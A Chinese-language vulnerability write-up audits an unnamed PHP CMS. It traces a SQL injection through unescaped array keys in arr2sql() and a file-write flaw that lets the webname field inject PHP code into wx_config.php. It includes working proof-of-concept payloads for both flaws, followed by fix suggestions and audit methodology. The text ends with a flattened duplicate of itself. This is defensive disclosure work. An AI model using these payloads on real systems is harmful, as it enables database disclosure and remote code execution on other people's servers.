记一次某源码审计
字数 800 2025-08-20 18:18:05

源码审计实战:SQL注入与文件写入漏洞分析

前言

本文记录了对某CMS系统的源码审计过程,发现了两个安全漏洞:一个SQL注入漏洞和一个文件写入漏洞。审计过程从数据库操作函数入手,通过数据流分析追踪到可利用的前端入口点。

1. SQL注入漏洞分析

1.1 漏洞根源

漏洞位于arr2sql()函数中,该函数用于将数组转换为SQL语句:

private function arr2sql($arr) {
    $s = '';
    foreach($arr as $k=>$v) {
        $v = addslashes($v);
        $s .= "$k='$v',";
    }
    return rtrim($s, ',');
}

问题点

  • 只对数组值($v)进行了addslashes()转义
  • 数组键($k)未经任何过滤直接拼接进SQL语句

1.2 漏洞利用链

1.2.1 调用arr2sql()的函数

  1. 插入操作函数
public function set($key, $data) {
    if(!is_array($data)) return FALSE;
    list($table, $keyarr) = $this->key2arr($key);
    $data += $keyarr;
    $s = $this->arr2sql($data);
    $exists = $this->get($key);
    if(empty($exists)) {
        return $this->query("INSERT INTO {$this->tablepre}$table SET $s", $this->wlink);
    } else {
        return $this->update($key, $data);
    }
}
  1. 更新操作函数
public function update($key, $data) {
    list($table, $keyarr, $keystr) = $this->key2arr($key);
    $s = $this->arr2sql($data);
    return $this->query("UPDATE {$this->tablepre}$table SET $s WHERE $keystr LIMIT 1", $this->wlink);
}

1.2.2 前端调用点

找到调用update()函数且键名可控的方法:

public function ajaxset(){
    $id = intval(R('id', 'P'));
    $cid = intval(R('cid', 'P'));
    $type = R('type', 'P'); // 可控参数
    $txtvalue = intval(R('txtvalue', 'P'));

    empty($id) && E(1, '内容ID不能为空!');

    $this->cms_content->table = 'cms_products';
    $data = $this->cms_content->get($id);
    $old_status = $data['status'];
    $data[$type] = $txtvalue;
    if($type == 'status' && $txtvalue == 0){
        $data['whys'] = '';
    }
    if(!$this->cms_content->update($data)) {
        E(1, '更新出错');
    }
    // ...省略后续代码...
}

其中R()函数用于获取请求参数:

function R($k, $var = 'G') {
    switch($var) {
        case 'G': $var = &$_GET; break;
        case 'P': $var = &$_POST; break;
        case 'C': $var = &$_COOKIE; break;
        case 'R': $var = isset($_GET[$k]) ? $_GET : (isset($_POST[$k]) ? $_POST : $_COOKIE); break;
        case 'S': $var = &$_SERVER; break;
    }
    return isset($var[$k]) ? $var[$k] : null;
}

1.3 漏洞利用

POC

id=503&type=pic%3ddatabase(),local&value=

效果

  • pic字段更新为当前数据库名

2. 文件写入漏洞分析

2.1 漏洞根源

FW()函数用于写入文件内容:

function FW($filename, $data) {
    $dir = dirname($filename);
    is_dir($dir) || mkdir($dir, 0755, true);
    return file_put_contents($filename, $data);
}

2.2 漏洞利用点

在微信支付配置功能中发现可控的文件写入:

public function setting() {
    if(empty($_POST)) {
        // 显示表单代码...
    } else {
        _trim($_POST);
        $weixin = R('weixin', 'P');
        $this->kv->xset('weixin', $weixin, 'pay_cfg');
        
        $wx_notice = '';
        if(!empty($weixin)){
            $wxFile = PLUGIN_PATH.'nz_wxpay/wx_config.php';
            $s = file_get_contents($wxFile);
            $s = preg_replace("#const APPID = '\w*';#", "const APPID = '".addslashes($weixin['APPID'])."';", $s);
            $s = preg_replace("#const MCHID = '\w*';#", "const MCHID = '".addslashes($weixin['MCHID'])."';", $s);
            $s = preg_replace("#const KEY = '\w*';#", "const KEY = '".addslashes($weixin['KEY'])."';", $s);
            $s = preg_replace("#const COMPANY = '\w*';#", "const COMPANY = '".R('webname','P')."';", $s);
            if(!FW($wxFile, $s)){
                $wx_notice = '!但微信配置文件写入失败...';
            }
        }
        // ...省略后续代码...
    }
}

问题点

  • webname参数未经任何过滤直接写入文件
  • 其他参数(APPIDMCHIDKEY)都经过addslashes()处理

2.3 漏洞利用

POC

weixin[APPID]=1155&weixin[MCHID]=5555555&weixin[KEY]=11333311&weixin['APPSECRET']=1111&webname=aaaaaaaaa';} phpinfo();?>/*

效果

  • wx_config.php文件中写入PHP代码
  • 访问该文件可执行任意PHP代码

2.4 利用限制

  1. 需要后台管理员权限
  2. 依赖COMPANY常量初始值为英文(正则\w*无法匹配中文)

总结

SQL注入漏洞修复建议

  1. 对数组键名也进行过滤:
private function arr2sql($arr) {
    $s = '';
    foreach($arr as $k=>$v) {
        $k = addslashes($k); // 增加对键名的过滤
        $v = addslashes($v);
        $s .= "$k='$v',";
    }
    return rtrim($s, ',');
}

文件写入漏洞修复建议

  1. webname参数进行严格过滤:
$company = preg_replace('/[^a-zA-Z0-9_\-\s]/', '', R('webname','P'));
$s = preg_replace("#const COMPANY = '\w*';#", "const COMPANY = '".$company."';", $s);
  1. 限制文件写入内容,避免PHP代码执行

审计方法论

  1. 从底层数据库操作函数入手,向上追踪调用链
  2. 关注用户输入点与危险函数的结合
  3. 特别注意数组键名、文件路径等容易被忽略的参数
  4. 正则表达式限制可能导致的安全绕过
源码审计实战:SQL注入与文件写入漏洞分析 前言 本文记录了对某CMS系统的源码审计过程,发现了两个安全漏洞:一个SQL注入漏洞和一个文件写入漏洞。审计过程从数据库操作函数入手,通过数据流分析追踪到可利用的前端入口点。 1. SQL注入漏洞分析 1.1 漏洞根源 漏洞位于 arr2sql() 函数中,该函数用于将数组转换为SQL语句: 问题点 : 只对数组值( $v )进行了 addslashes() 转义 数组键( $k )未经任何过滤直接拼接进SQL语句 1.2 漏洞利用链 1.2.1 调用 arr2sql() 的函数 插入操作函数 : 更新操作函数 : 1.2.2 前端调用点 找到调用 update() 函数且键名可控的方法: 其中 R() 函数用于获取请求参数: 1.3 漏洞利用 POC : 效果 : 将 pic 字段更新为当前数据库名 2. 文件写入漏洞分析 2.1 漏洞根源 FW() 函数用于写入文件内容: 2.2 漏洞利用点 在微信支付配置功能中发现可控的文件写入: 问题点 : webname 参数未经任何过滤直接写入文件 其他参数( APPID 、 MCHID 、 KEY )都经过 addslashes() 处理 2.3 漏洞利用 POC : 效果 : 在 wx_config.php 文件中写入PHP代码 访问该文件可执行任意PHP代码 2.4 利用限制 需要后台管理员权限 依赖 COMPANY 常量初始值为英文(正则 \w* 无法匹配中文) 总结 SQL注入漏洞修复建议 对数组键名也进行过滤: 文件写入漏洞修复建议 对 webname 参数进行严格过滤: 限制文件写入内容,避免PHP代码执行 审计方法论 从底层数据库操作函数入手,向上追踪调用链 关注用户输入点与危险函数的结合 特别注意数组键名、文件路径等容易被忽略的参数 正则表达式限制可能导致的安全绕过